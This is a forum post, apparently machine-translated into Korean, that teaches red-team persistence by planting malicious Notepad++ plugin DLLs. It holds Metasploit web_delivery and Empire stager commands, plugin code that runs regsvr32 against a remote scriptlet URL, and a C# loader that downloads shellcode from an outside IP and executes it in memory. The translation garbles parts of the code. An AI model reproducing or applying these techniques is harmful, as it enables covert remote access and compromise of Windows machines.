KoreanHackerTeam
Moderator
0x00 前言
메모장 ++는 플러그인 모드에서 확장자가있는 인기있는 Windows 텍스트 편집기입니다. Windows 환경, 특히 많은 개발자 및 IT 직원에서는 드문 일이 아닙니다. Red Team 직원을위한 중요한 정보 모음을 제공하는 것 외에도 원격 명령의로드 또는 스크립트를로드하는 플러그인을 사용하여 권한 유지 보수로 사용할 수도 있습니다.0x01 基本消息框示例
메모장 ++ 플러그인을 사용하여 메모장 ++의 기능을 확장 할 수 있습니다. 기본적으로 사용자는 메모장 ++ 신뢰할 수있는 플러그인 목록에 필요한 플러그인을 설치할 수 있지만 확인없이 설치 사용자 정의 플러그인을 실행할 수도있어 개발자에게 확장 가능한 텍스트 편집기를 사용할 수있는 유연성을 제공합니다. 플러그인은 DLL 파일 형식입니다. 사용자 정의 플러그인을 설치하려면 DLL을 %프로그램 파일 %\ notepad ++ \ Plugins \ PluginName \ PluginName.dll에 넣으십시오.이점은 플러그인을로드하거나 활성화하기 위해서는 사용자 상호 작용이 필요하지 않다는 것입니다. 단점은 지역 관리자 권한이 디렉토리에 기록되어야한다는 것입니다.

.NET 템플릿을 사용하여 Onotification에서 코드를 수정하십시오.

또는 : 클래스 메인 {static bool firstrun=true; public static void onnotification (scnotification untification) {if (notification.header.code==(uint) scimsg.sci_addtext firstrun) {var process=process.getCurrentProcess (); messagebox.show ($ 'hello from {process.processName} ({process.id}).'); firstrun=! firstrun; }}

Dir 'C: \ Program Files \ Notepad ++ \ 플러그인 \ pentestlab'


0x02 MSF反弹示例
파일리스 페이로드를 실행하여 통신 채널을 설정할 수도 있습니다. 여기에서 Windows Regsvr32 바이너리를 사용하여 원격 위치에서 실행 스크립트를로드 할 수 있습니다. Metasploit 프레임 워크는 웹 전달 모듈을 통해이 활용을 지원합니다.Exploit/Multi/Script/Web_delivery를 사용하십시오
대상 2를 설정합니다
페이로드 Windows/X64/MeterPreter/Reverse_TCP를 설정하십시오
Lhost 10.0.0.3을 설정하십시오
LPORT 4444를 설정하십시오
RUN은 필요한 매개 변수를 사용하여 명령을 약간 수정하여 RegSVR32를 실행할 수 있습니다.
classmain {staticboolfirstrun=true; publictaticvoidonnotification (scnotification notification) {if (notification.header.code==(uint) scimsg.sci_addtext firstrun) {stringstrcmdtext; strcmdtext=' /s /n /n /n /n /n /n /u /i3:http://10.0.0.3:8080/nhicvfz6n.sctscrobj.dll ';process.start ('regsvr32 ', strcmdtext); firstrun=! firstrun;}}}}



세션
세션 -I 1
Pwd
getuid

0x03 Empire反弹shell示例
비슷한 방식으로 Empire C2는 다양한 Stager 파일을 생성하는 데 사용될 수 있습니다. 이 파일에는 일반적으로 PowerShell 프로세스에서 실행할 수있는 Base64 명령이 포함되어 있습니다. 다음은 예를 들어 Stager 방법입니다.usestager windows/runcher_sct

리스너 HTTP를 설정하십시오



에이전트

usemodule powerShell/컬렉션/스크린 샷
에이전트 메모장을 설정하십시오


0x04 cobaltstike反弹shell示例
COBASLTSIKE를 통해로드 할 ShellCode로 MessageBox를 바꾸면 코드는 다음과 같습니다.if (notification.header.code==(uint) scimsg.sci_addtext firstrun)
{
var 클라이언트 사용=새로운 webClient ();
var buf=client.downloadData ( 'http://172.19.215.47/shellcode');
var hmemory=virtualalloc (
intptr.zero,
(uint) buf.length,
AllocationType.Reserve | AllocationType.commit,
memoryProtection.ReadWrite);
마샬 .copy (buf, 0, hmemory, buf.length);
_=virtualProtect (
hmemory,
(uint) buf.length,
MemoryProtection.Executeread,
밖으로 _);
_=CreateThread (
intptr.zero,
0,
hmemory,
intptr.zero,
0,
밖으로 _);
firstrun=! firstrun;
}
